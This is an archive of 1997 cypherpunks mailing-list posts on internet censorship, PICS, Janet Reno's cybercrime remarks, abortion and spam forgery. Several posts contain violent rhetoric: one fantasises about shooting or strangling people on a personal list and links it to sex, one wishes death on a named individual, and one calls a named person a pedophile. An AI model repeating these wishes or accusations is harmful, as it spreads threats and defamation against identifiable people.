and Philly remember that "We're here for a good time, not a long
time. So have a good time...the sun doesn't shine every day."

  I carry on my person, at all times, a list of whom I think the 
world would be better off without, in case I happen to get a chance 
to put a bullet between their eyes, or slowly strangle them to death
until the life force has been drained from their sorry carcass and
they are now in the proper mood for sex.
  I do, however, try to keep in mind that whatever the Psychic
Mind Controllers tell us is good to eat will eventually be 
relabelled as poisonous, and vice versa. Thus I prefer not to carry
heavy artillery with me at all times, knowing that the more lengthy
process of strangulation will give me time to sift through my mind
to separate dreams from reality, giving me a chance to reevaluate
my actions and quite possibly leave the target of my insanity with
merely a stern reminder that a certain percentage of the people one
pisses off in life will be psychotic sociopaths.

  After taking a quick peek at the Subject: header of this missive,
I assume that the point of this rambling soliloquy is that it has
been true, throughout history, that "The Revolution is NOW!"
  That has long been the title of the Lists that I compose, using
the 'old' Crayola colors, as Mr. Chainsaw spins eternally in the
background, whispering to me that I may be all that stands between
the mass of humanity and the Great Evil that seeks to destroy us.

  And (admit it...) the same is true of yourself.
  The revolution is *always* NOW, for each and every one of us.
If today's one-and-only choice is between BillyG and LouieFreeh,
then, risking the wrath of Attila T. Hun, I must declare that Bad
BillyG is, indeed, my Best Friend In The Whole World (TM).
  Why? Because I believe that Linux versus WinDolt gives us better
odds in the coming battles than Guns versus Nukes. And I believe
that I have a better chance of survival to fight another day if
I am firing warning shots over Micro$haft's head rather than over
the heads of the the Great Beast whose lair is in DC.

  I try to judge BillyG and PhillyZ with the same standards that
I use to make my personal judgements regarding Declan.
  I consider Declan to be a tried and true ally who has made it
his mission in life to descend into the Belly of the Beast and
report back to us where the 'soft targets' are, and warn us of
the 'fools gold' that is being used to lure us all down a road
that leads to the bottomless trough. I would be sad to have to
put an end to his life if he someday returns from his descent
with glazed eyes, blathering, "GAK is Good!"

  Bad BillyG has managed to become the richest and one of the most
powerful people in the world while committing only minor atrocities
while providing vast, if futurally questionable, benefits for humanity.
  I have no fondness for BillyG for knocking some of my computer
industry friends on their ass while going for the big score, but 
neither do I have a fondness for my hockey opponents when they
knock my teamates on their butt while I am watching from the 
players bench. 
  Good PhillyZ, after having done an enormous amount of good in
the arena of privacy and encryption, is now in a position of 
having to peek into the mouth of the Great Beast, in order to
spread strong crypto into the area where the great mass of
humanity resides. If he deems it useful or necessary to descend
into the Belly of the Beast in order to work toward the spread
of strong, privacy-enabling encryption, I do not plan to abandon
him too readily and begin viewing him as the Enemy.
  At the same time, I reserve the right to make my own personal
decision as to when it becomes necessary to put my friends or
enemies out of 'my' misery, because the Revolution is NOW!

	Heaven and Earth are impartial;
	They see the ten thousand things as straw dogs.
	The wise are impartial;
	They see the people as straw dogs.

  It is too late in the game to waste time defending old definitions
which no longer apply. The future is in motion, and there will be a
great cost associated with not moving with it.
  Caesars throughout history have shown us that there is a thin line
which separates allies, strange bedfellow, and enemies--and the line
is constantly moving.

  We are fast approaching Instant Karma.
  The future is now.
  The Revolution is NOW!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 5 Dec 1997 03:30:41 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041316.IAA18769@Empire.Net>
Message-ID: <3.0.5.32.19971204105615.00853870@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 07:53 AM 12/4/97 -0600, William H. Geiger III wrote:
>Who knows maybe the pro-choice crowd *does* approve of a doctor taking a
>big pair of pliers, crushing the skull then ripping the arms and legs off
>a 6mo old then pulling out the shop vac to clean up the mess?

Yes, if that's what the pros think is the appropriate method when a person
decides to off their fetus.  

The sun supplies 1 Kwtt/m^2, peak.  How many people can you feed on that
before
you get a war/famine/plague?   Perhaps you prefer adult war to infanticide.
A matter of taste.  

Cultures that really have to deal with this, unlike your own (for now),
generally choose infanticide.    









------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 5 Dec 1997 02:05:47 +0800
To: 6ualdv8@sk.sympatico.ca
Subject: Re: Censorial leftists (Was: Interesting testicle)
In-Reply-To: <34861C6C.67C@dev.null>
Message-ID: <Pine.LNX.3.95.971204105544.369A-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




someone masquerading as truthmonger wrote:

> 
> LISTEN UP!!! (I'LL TYPE SLOWLY...)
>   Faster horses, older whiskey, younger women, more money.
> 
>   Democracy is a political system designed to put Fascism in the
> hands of the people.
>   Fascism is a political system designed to take Democracy out of
> the hands of the people and into the hands of the Machine.

etc
> 
> NEWS FLASH!!!
>   Whether you are forced to 'do right' or forced to 'do no wrong'
> will depend on whether the 'leftists' or the 'rightists' have the
> most money and guns.
> 
> NEWS FLASH ADDENDUM!!!
>   Those seeking to 'save' you are likely to afflict as much damage
> to your rights and freedoms as those seeking to 'oppress' you.
> 
> NOTE TO BOY SCOUTS!!!
>   If an old lady doesn't want to cross the street, that is an act
> of 'passive aggression' and you have a right to use as much force
> as necessary to get her across the street.
> 
>   Is there a difference in the degree of 'dead' between a person
> shot by a left-hander and one shot by a right-hander?
>   Do you have a preference for having an individual, a government
> or a corporation as your dictator/oppressor?
>   Is it of great concern to you to be allowed to 'vote' as to
> which person gives you an unneeded prostrate exam?
> 
Truthmonger:

you wouldn't happen to be a member of the subgenious
would you?  if so, say hi to rev. ivan stang....

jim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 00:13:48 +0800
To: cypherpunks@toad.com
Subject: NYTimes oped: Federal laws better than censorware
Message-ID: <v0300780bb0ac81fe47dc@[204.254.22.237]>
MIME-Version: 1.0
Content-Type: text/plain



Check out the last paragraph of Andrew's op-ed: it's Larry
Lessig's argument, though conveniently unattributed. It's
also a dangerous one, and a favorite of leftists, claiming
that "accountable" government regulations are somehow
better than "unaccountable" private classification schemes.

Of course Andrew neglects to say that the CDA was not just
civil regulation like many FCC rules: it, and its
successor, are criminal laws with serious jail time and
up to quarter-million dollar fines if you violate them.

He also neglects to say that the reason PICS was created is
pressure from the Feds.

Try as hard as they may, not even RSACi can throw you in
jail -- unless Congress passes Murray's bill, which means
it's no longer private-sector action.

If the market VOLUNTARILY comes up with a rating system, I
don't know how you can say that's worse than government
censorship and possible jail time. (Read Solveig's op-ed on
this, which I posted earlier this week.)

Arguing that private selection is "worse" than government
censorship is simply incoherent. If government is coercing
industry to adopt a scheme, which is the direction we're
heading now, then it's time to make the argument that the
government pressure amounts to state action. Then
eventually challenge it in court.

I'm not sure if Andrew is going here or not, but some
leftists (or "liberals," if you like) oppose
rating systems and censorware because they think children
have a general right to access information. Even if their
parents buy the computers. I think this is another
incoherent argument that we should be careful not to buy
into.

It may be a bad idea for parents to install such
programs -- as it may be a bad idea to feed Junior
poptarts instead of bran cereal -- but children do
not have a of Constitutional right to have
censorware-free computers.

-Declan

==============

Opinion: The Danger of Private Cybercops

By ANDREW L. SHAPIRO


At a conference this week on protecting children from the
perils of the Internet, consensus emerged on a strategy to
keep minors away from cyberporn: let the private sector
handle it. Rather than relying on Government regulation,
Vice President Al Gore said, parents should look to
industry for tools that will let them filter Internet
content.

Civil libertarians are largely responsible for the success
of this approach. Indeed, they convinced the Supreme Court
that it would do less harm to free speech than the
Communications Decency Act, the law criminalizing on-line
indecency, which the Court struck down in June.

Yet those advocates may now regret what they wished for,
because some of their schemes seem to imperil free speech
more than the act did.

For example, software that users install to block out
certain Internet content often excludes material that isn't
indecent. One such program, Cybersitter, prevents users
from visiting the site of the National Organization for
Women. And the makers of these programs often won't even
tell adults what sites have been blacklisted.

Still worse is a protocol known as PICS that changes the
Internet's architecture to make it easy to rate and filter
content. PICS is theoretically neutral because it allows
different groups to apply their own labels, but could hurt
the Internet's diversity by requiring everything to be
rated. Small, unrated sites would be lost.

Moreover, these technologies enable what might be called
total filtering, where objectionable speech of any type can
be screened out effortlessly. Benign as this may seem, such
filtering might be used not just by individuals but by
employers, Internet service providers and foreign
governments seeking to restrict information that others
receive.

The ground rules for an open society could also be
undermined. When total filtering meets information
overload, individuals can (and will) screen out undesired
interactions, including those crucial to a vibrant
political culture -- the on-line equivalents of a civil
rights protest or a petition for a reform candidate. In
such a filtered society, civil discourse and common
understanding will suffer.

This should lead us to think long and hard about the way
that technology can be an even more cunning censor than
law. That's not to say that Government solutions are
problem-free or desirable. But at least when the state goes
overboard, speech defenders have the safety valve of a
First Amendment lawsuit. This legal recourse is not an
option when politicians simply persuade industry and
consumers to use speech-inhibiting tools. Who knows,
free-speech advocates may find themselves nostalgic for
public regulation after all.

Andrew L. Shapiro is a fellow at Harvard Law School's
Center for no the Internet and Society and at the Twentieth
Century Fund.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 01:50:42 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Kudos to 'my other brother' BillyG / Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712040507.AAA26160@users.invweb.net>
Message-ID: <3486E376.67FB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Killer post!

We are all in constant danger of convincing ourself that 'we' are a
"kindler, gentler Nazi."
Personally, I have always been of the opinion that the Pacifist 
movement would be more effective if they owned more weapons.

TruthMonger

William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <3486262E.C70FF40@cptech.org>, on 12/03/97
>    at 10:40 PM, James Love <love@cptech.org> said:
> 
> >Now, if one sees the burning issue of the day the fight to rid the world
> >of government as we know it, maybe right left labels make sense.  By
> >defining both the left and the right as groups who advocate increasing
> >government control over private actions, you describe what seems most
> >important to you.  I found this characterization of "leftists" as shallow
> >as Declan's, however.
> 
> There is no difference between the "left" and the "right" in Amerika
> politics other than which tit on the federal sow they wish to suck on and
> which "buzz" words they use in their FUD campaigns to hurd the sheeple in
> support of their cause celebre.
> 
> The one unifying principle of these "leaders" is the acquisition of power
> and the using of the Federal Government to get it. It doesn't matter if
> it's a Tree Hugging Communist like Ralf Naider or a Religious Nut like Pat
> Robertson. Their agendas are the same, their modus operandi are the same,
> and their results are the same: They get more power, the feds get more
> power, and the "people" get fucked once again.
> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://users.invweb.net/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a-sha1
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
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> ZzZexYD/R50=
> =b0oD
> -----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 00:22:10 +0800
To: cypherpunks@toad.com
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <v0300780bb0ac81fe47dc@[204.254.22.237]>
Message-ID: <v0300780db0ac862a4382@[204.254.22.237]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:02 -0500 12/4/97, Declan McCullagh wrote:
>Check out the last paragraph of Andrew's op-ed: it's Larry
>Lessig's argument, though conveniently unattributed.

Let me retract this particular statement. I'm told that Lessig was properly
cited then edited out late last night.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 01:52:48 +0800
To: cypherpunks@toad.com
Subject: Man-in-the-Middle Chicken Attacks
In-Reply-To: <199712040815.AAA15152@jimmy.djc.com>
Message-ID: <3486E66B.5950@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
 
> ======================================================
>  At night, if you want to see the chicken without the
> chicken seeing you, use a red light.
> ==============================================
 
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Shapiro <ashapiro@interport.net>
Date: Fri, 5 Dec 1997 01:07:07 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <v0300780bb0ac81fe47dc@[204.254.22.237]>
Message-ID: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
MIME-Version: 1.0
Content-Type: text/plain



Hold your horses, folks.

At 11:02 AM 12/4/97 -0500, Declan McCullagh wrote:
>Check out the last paragraph of Andrew's op-ed: it's Larry
>Lessig's argument, though conveniently unattributed.

For space reasons, the Times cut my attribution to Larry (as he knows and
will tell you).  The piece was 700 words at 7:00 pm yesterday, 425 words at
7:15.  Believe me, I was sorry not to be able to credit my friend,
colleague, and former teacher.

And incidentally, it was the third-to-last graph, not the last (is this
kind of looseness with the facts a coincidence?).

>Of course Andrew neglects to say that the CDA was not just
>civil regulation like many FCC rules: it, and its
>successor, are criminal laws

Hello? in graph 2: "Communications Decency Act, the law *criminalizing*
on-line indecency..."

>He also neglects to say that the reason PICS was created is
>pressure from the Feds.

You're wrong or overstating the case.  PICS began as an effort -- rightly
enough -- to *respond to* and/or *stave off* laws like the CDA.  But did
the Feds "pressure" anyone to come up with PICS?  No.  I just
double-checked with someone linked to PICS's founding, who told me: "Nobody
in the federal government ever came to the 3WC and told them to create
PICS."  And even if the Feds had "pressured" someone to do so, that
wouldn't in anyway justify its speech-inhibiting design features.

Now, as to whether politicians are pressuring industry to *use* PICS and
other total filtering schemes, that's another question.

>Try as hard as they may, not even RSACi can throw you in
>jail

That's irrelevant, Declan.  Day-to-day, speech can be inhibited as much by
technology as by law.  In fact, you're the one who's shown us that so well
with your countless posts about the dangers of censorware.

>If the market VOLUNTARILY comes up with a rating system, I
>don't know how you can say that's worse than government
>censorship and possible jail time.

That's not what I said.  I'm not in favor of censorship and I oppose any
attempt to *criminalize* 'indecent' speech.  But criminalize does not =
regulate.


>children do
>not have a of Constitutional right to have
>censorware-free computers.

Really!  I seem to recall *you* making the argument that kids have first
amendment rights to access any information, particularly in public
facilities like libraries.  The 17 1/2 year old college freshman perhaps?
Did you change you mind?

-- Andrew 


>==============
>
>Opinion: The Danger of Private Cybercops
>
>By ANDREW L. SHAPIRO
>
>
>At a conference this week on protecting children from the
>perils of the Internet, consensus emerged on a strategy to
>keep minors away from cyberporn: let the private sector
>handle it. Rather than relying on Government regulation,
>Vice President Al Gore said, parents should look to
>industry for tools that will let them filter Internet
>content.
>
>Civil libertarians are largely responsible for the success
>of this approach. Indeed, they convinced the Supreme Court
>that it would do less harm to free speech than the
>Communications Decency Act, the law criminalizing on-line
>indecency, which the Court struck down in June.
>
>Yet those advocates may now regret what they wished for,
>because some of their schemes seem to imperil free speech
>more than the act did.
>
>For example, software that users install to block out
>certain Internet content often excludes material that isn't
>indecent. One such program, Cybersitter, prevents users
>from visiting the site of the National Organization for
>Women. And the makers of these programs often won't even
>tell adults what sites have been blacklisted.
>
>Still worse is a protocol known as PICS that changes the
>Internet's architecture to make it easy to rate and filter
>content. PICS is theoretically neutral because it allows
>different groups to apply their own labels, but could hurt
>the Internet's diversity by requiring everything to be
>rated. Small, unrated sites would be lost.
>
>Moreover, these technologies enable what might be called
>total filtering, where objectionable speech of any type can
>be screened out effortlessly. Benign as this may seem, such
>filtering might be used not just by individuals but by
>employers, Internet service providers and foreign
>governments seeking to restrict information that others
>receive.
>
>The ground rules for an open society could also be
>undermined. When total filtering meets information
>overload, individuals can (and will) screen out undesired
>interactions, including those crucial to a vibrant
>political culture -- the on-line equivalents of a civil
>rights protest or a petition for a reform candidate. In
>such a filtered society, civil discourse and common
>understanding will suffer.
>
>This should lead us to think long and hard about the way
>that technology can be an even more cunning censor than
>law. That's not to say that Government solutions are
>problem-free or desirable. But at least when the state goes
>overboard, speech defenders have the safety valve of a
>First Amendment lawsuit. This legal recourse is not an
>option when politicians simply persuade industry and
>consumers to use speech-inhibiting tools. Who knows,
>free-speech advocates may find themselves nostalgic for
>public regulation after all.
>
>Andrew L. Shapiro is a fellow at Harvard Law School's
>Center for the Internet and Society and at the Twentieth
>Century Fund.
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Dec 1997 03:38:51 +0800
To: cypherpunks@toad.com
Subject: Re: Bill Stewart kills babies after he molests them. Honest! /
In-Reply-To: <3.0.5.32.19971203091239.007e4410@206.40.207.40>
Message-ID: <TR77ge3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig <honig@otc.net> writes:

> At 07:53 AM 12/3/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >Bill Stewart <stewarts@ix.netcom.com> writes:
> >
> >> The real problem, besides the emotional distress some people feel
> >> at the abuse they get in response to forged postings,
> >> and the potential loss of reputation capital, is that people
> >> keep trying to call their ISP to get them shut down,
> >> and some ISPs do this sort of thing, squashing abusive-sounding customers
> >> first and asking questions later.  Ok, soon-to-be-ex customers...
> >
> >Yes, this is one of the problems. Earlier this year pedophile Chris Lewis
> >from Northern Telecom forged a bunch of spam e-mail to look like it came
> >from dm.com (my domain).  I got about 500 obnoxious e-mails, which I
> >semi-automatically responded to, and had a rather unpleasant conversation
> >with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't
> >originate at your site, you will not be held responsible".
> 
> If you could find a competant jury you would be able to show breach of
> contract
> had they done anything, because they should know better than to believe
> forgeries.
> Admittedly this is a major hassle you should not have to endure.
I suspect that if the assholes at PSI pulled my plug and I sued them for
breach of contract, the case would never get to the jury.  A judge would
toss it.  You see, I'm an ISP.  Most ISP's contracts with their backbones
say explicitly that the backbone can pull the plug any time it wants to
for no reason and with no warning.  There are very few backbones and they
all talk to each other and basically have a cartel.  it's not like if you
don't like PSI's standard ISP contract, you can go to Sprint and get a
better one; they're a cartel with very little competition. Indeed, it's
highly unusual even to have a language requiring the backbone to give a
notice before pulling your plug.

I might have a good cause of action against Chris Lewis, but the asshole is
in Canada. (I found out the forger's home address. I hope someone blows his
fucking brains out, for he surely deserves to die.) In what court would I
sue him (for interfering with my contractual relations with PSI)?

If you're an individual user and check your contract with your ISP, you'll
likely see that the ISP too can pull your plug any time it feels like it for
no reason, and doesn't even have to turn over to you your files, e-mail, etc.
If a forger (like Chris Lewis) forges something objectionable in a user's
name and the ISP has to spend a lot of time responding to the complaints,
it's not unusual for the ISP to get rid of the controversial user even though
the user hasn't posted the traffic that's causing the complaints.
If there was more competition in the field, the ISP would have to demonstrate
abuse by the user to pull the user's plug.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 02:21:52 +0800
To: Blanc <blancw@cnw.com>
Subject: Blanc for Presidentess ! / Re: Transcript of Gore's remarks at "Censorware Summit"
In-Reply-To: <3.0.32.19971203205653.00699b08@cnw.com>
Message-ID: <3486F195.281D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Blanc wrote:
> I just had an incorrect thought that I've decided to share with everyone:
> 
> The reason Al Gore (and the others) are focusing on helping All the Little
> Children, is that this is the only group they can offer assistance to in
> the U.S. who would accept it.
> 
> Everyone else is stocking up on guns & ammo, waiting for The Big One.
>     ..
> Blanc

Blanc is one of those rare creatures who has the ability to rock the
boat with a small volume of words which nonetheless carry a great
amount of weight.

TotoMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 03:30:16 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting testicle)
In-Reply-To: <Pine.LNX.3.95.971204105544.369A-100000@is-chief>
Message-ID: <3486F4A0.3FFE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes wrote:
> Truthmonger:
> 
> you wouldn't happen to be a member of the subgenious
> would you?  if so, say hi to rev. ivan stang....

jim,
  I am a high-priestess in the Church of the SubWoofer.

TotoMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 03:42:34 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Janet Reno warns of "lawlessness on the Internet"
In-Reply-To: <Pine.GSO.3.95.971204094609.7153J-100000@well.com>
Message-ID: <3486FEB4.596C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> >From U.S. Attorney General Janet Reno's weekly press conference, held this
> morning at the Department of Justice. She's speaking about an upcoming
> meeting of the G-7 nations and Russia:

Summary: International Law Enforcement. New World Order. International
  Law Enforcement. New World Order. International Law Enforcement...
 
>         At this meeting we will be discussing ways in which our
>         countries can work together to better identify and locate
>         cybercriminals.
...
>         The
>         solution is working together as nations.  Our law
>         enforcement agencies must learn to work together more
>         closely on these issues and more quickly than ever
>         before
 
>         I think it is going to be
>         incumbent upon us all to develop the expertise on the
>         part of law enforcement, both at the federal and state
>         level, to make sure that we know who our counterparts are
>         around the world and that we come together on this issue.

Declan adds: 
> I guess this is the Department of Justice's response to "cryptoanarchy."

  How many people have recognized the Big Lie increasingly being spread
by the self-proclaimed guardians of the future of all humanity?

  What happens if the InterNet disappears from the face of the earth,
tomorrow? Not a whole helluva lot. It would be a loss, but in no way
a major disaster for all mankind.
  The InterNet is the Falklands. There is really no need to mount a
huge armed force to travel halfway around the world and 'put things
straight' unless this-or-that perceived authority deems it to be
necessary/in the national interest/a good idea/profitable/etc.

  Ask yourself this..."If the InterNet is such a highly important,
as well as highly vulnerable, infrastructure--of momentous value
to our military and economic well-being--then why on earth did
our government announce that it was of major importance for every
man, woman, and child, sane and insane, to have access to it?"

  "It is a matter of national urgency that every citizen should tour
the Pentagon, as soon as possible. Of course, in the interests of
national security, it will be necessary to give everyone who does
so a digital implant."
  "We have adopted a policy of allowing your children to play in
our missle silos, but we will have to imprison them if they play
with the buttons."

>         Automation, computers, the Internet have now made
>         boundaries, in many instances, meaningless. 

  Those in power recognize this, and they also recognize the need
to recreate and/or redefine it as a valuable treasure in need of
defending from the Great Enemy.
  This time around the Karmic Circle, however, the Great Enemy is
everyone on the face of the earth.

  Isn't there a Chinese curse which says, "May you live in interesting
times."?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 02:24:48 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: The Revolution is NOW ! / Free Bill Gates ! / Philly 'WhiteShoes' Zimmermann
In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com>
Message-ID: <v03007801b0aca0969776@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Problem is, I work about three blocks from Ground Zero. All this talk of
soft targets makes me nervous, you know.

BTW, I'm going to check on the Secret Service Christmas tree ornaments and
how much they cost. I'll post later on today if our office manager tells me
they're still available. (The U.S.S.S. is on the top floor of my building
and they give us a deal.)

-Declan


At 10:49 -0600 12/4/97, TruthMonger wrote:
>  I try to judge BillyG and PhillyZ with the same standards that
>I use to make my personal judgements regarding Declan.
>  I consider Declan to be a tried and true ally who has made it
>his mission in life to descend into the Belly of the Beast and
>report back to us where the 'soft targets' are, and warn us of
>the 'fools gold' that is being used to lure us all down a road
>that leads to the bottomless trough. I would be sad to have to
>put an end to his life if he someday returns from his descent
>with glazed eyes, blathering, "GAK is Good!"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 5 Dec 1997 06:04:19 +0800
To: "William H. Geiger III" <holovacs@idt.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <1.5.4.32.19971204114530.006ef8dc@idt.net>
Message-ID: <3.0.3.32.19971204132216.03486294@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 06:38 AM 12/4/97 -0600, William H. Geiger III wrote:
>An intriguing selection of NewSpeak being used here. The forcible 
ending
>of another humans life is wrong (add in the standard caveats for
>self-defence).

A fetus is not a human being. End of logic chain.

Proof:The defining characteristic of humanity is our recursive self-
awareness -- our ability to think and know we think. Consciousness, 
in other words. Consciousness exists as an emergent property of our 
immensely complex neural network. No neural network, no 
consciousness. No consciousness, no humanity.

A single cell is not conscious. It cannot be. It has no senses to 
receive information, no mind to process the information received. It 
cannot be considered human.

A newborn baby *is* conscious. Brainwaves from all parts of the brain 
register. It is human.

Therefore:At some point between conception and birth, the developing 
fetus crosses a line fron non-human (and thus, removable without any 
ethical worries whatsoever) to human (and thus, only removable under 
the normal conditions when it is proper to kill, such as a threat to 
the life of the host). This line can be defined by the beginning of 
detectable brain waves from the higher parts of the brain, which 
usually occur around the sixth month or so. At this point, 
consciousness -- and thus humanity -- has begun. It is only at this 
point that the fetus has become a rights-possessing organism.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIcfBzKf8mIpTvjWEQIJvACeLfUKA21OH8qygFlZ3YWYDVgChHMAn29F
FrapAwfMo2Gz/FUM9qOsZQuY
=Pifn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 5 Dec 1997 06:29:05 +0800
To: ualdv8@sk.sympatico.ca
Subject: Re: Janet Reno warns of "lawlessness on the Internet"
In-Reply-To: <Pine.GSO.3.95.971204094609.7153J-100000@well.com>
Message-ID: <3.0.5.32.19971204133542.00857d30@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 01:04 PM 12/4/97 -0600, TruthMonger wrote:
>  Isn't there a Chinese curse which says, "May you live in interesting
>times."?
>
>TruthMonger
>

Yeah, its a corollary of Moore's law :-)


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 5 Dec 1997 05:20:52 +0800
To: ualdv8@sk.sympatico.ca
Subject: Re: Janet Reno warns of "lawlessness on the Internet"
In-Reply-To: <3486FEB4.596C@dev.null>
Message-ID: <Pine.LNX.3.95.971204133522.369C-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Dec 1997, TruthMonger wrote:

> 
>   Ask yourself this..."If the InterNet is such a highly important,
> as well as highly vulnerable, infrastructure--of momentous value
> to our military and economic well-being--then why on earth did
> our government announce that it was of major importance for every
> man, woman, and child, sane and insane, to have access to it?"
> 

Monger:

Simply because everyone (ok..lots) on the planet are already using it. 
They belabor the obvious in order to build a constituincy. Replace
internet with the word "air" and you have the same effect. 

"We must protect everyone from the abuse of the air you breath.  Evil,
profiteering businessman will ruin it. Terrorists and pedophiles will want
to breath it too -- so you must let us evil, murdering government types
dole out who breaths the air and what it will smell like." 

Be afraid.  Be very afraid. (abbreviated BABVA (tm))

these true facts have been brought to you by:

FUDmonger
the letter 'F'
and the number '666'









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Fri, 5 Dec 1997 11:11:00 +0800
To: cypherpunks@toad.com
Subject: Re: Superdistribution development/release
In-Reply-To: <Pine.BSF.3.96.971203215304.204C-100000@thought.calbbs.com>
Message-ID: <3.0.3.32.19971204135214.00721fe4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:55 AM 12/04/1997 -0600, "William H. Geiger III" <whgiii@invweb.net>
wrote:
>Evil Book Topic List
>====================
>
>Chemistry  -- could be used by "Terrorist"
>Physics    -- could be used by "Terrorist"
>Biology    -- could be used by "Terrorist"
>Mathematics -- could be used by "Terrorist" 

And you certainly wouldn't want to allow inflammatory
anti-government books with precise technical information in them
that could be used by terrorists,
	like "Fahrenheit 451"....

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 5 Dec 1997 03:39:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Fear of a Random Planet...
In-Reply-To: <c2b8ac43a1d45871909e4d59f8f788c1@anon.efga.org>
Message-ID: <v04002745b0acacb10029@[204.134.5.28]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:25 am -0500 on 12/4/97, Anonymous wrote:


> Remember, 'Export a Cryptographer, Go to Jail!'

Damn. There goes FC98. :-).

Oh well, at least the Coyotes on the Mexican border won't have to deadhead
the return trip...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
